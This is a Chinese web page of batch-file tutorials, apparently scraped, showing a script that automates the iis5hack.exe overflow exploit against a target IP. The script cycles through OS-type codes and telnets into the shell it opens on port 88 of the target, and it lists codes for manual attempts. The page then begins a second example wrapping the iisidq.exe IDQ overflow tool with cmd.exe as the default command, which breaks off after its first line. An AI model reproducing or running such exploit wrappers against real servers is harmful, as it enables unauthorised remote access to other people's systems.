经过整理的一些dos/bat批处理教程

2019-01-30 16:42:23于海丽

:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系统类型 1 失败!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系统类型 0 失败!
goto error
:telnet
telnet %1 88              /*开始连接目标ip的88端口
goto exit                /*连接中断后跳转exit段
:error                /*error段显示错误后的帮助信息
echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!
echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]
ECHO 中文:        0
ECHO 中文+sp1:    1
ECHO 英文:        2
ECHO 英文+sp1:    3
ECHO 日语:        4
ECHO 日语+sp1:    5
ECHO 韩文:        6
ECHO 韩文+sp1:    7
ECHO 墨西哥语:    8
ECHO 墨西哥语+sp1:  9
goto exit      /*跳转exit段
:file          /*file段显示文件没有发现的信息
echo 文件iis5hack.exe没有发现!程序终止运行!
goto exit      /*跳转exit段
:help        /*help段显示本批处理的使用格式帮助
echo 本程序用法如下:
echo iis [目标ip]
echo iis [目标ip] [开始的号码9-0]
:exit          /*exit段为程序出口
这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!
例二
这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下:
运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>
  其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。
其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 <idq.bat 目标ip>程序如下:
@echo off              /*同例一
相关文章 大家在看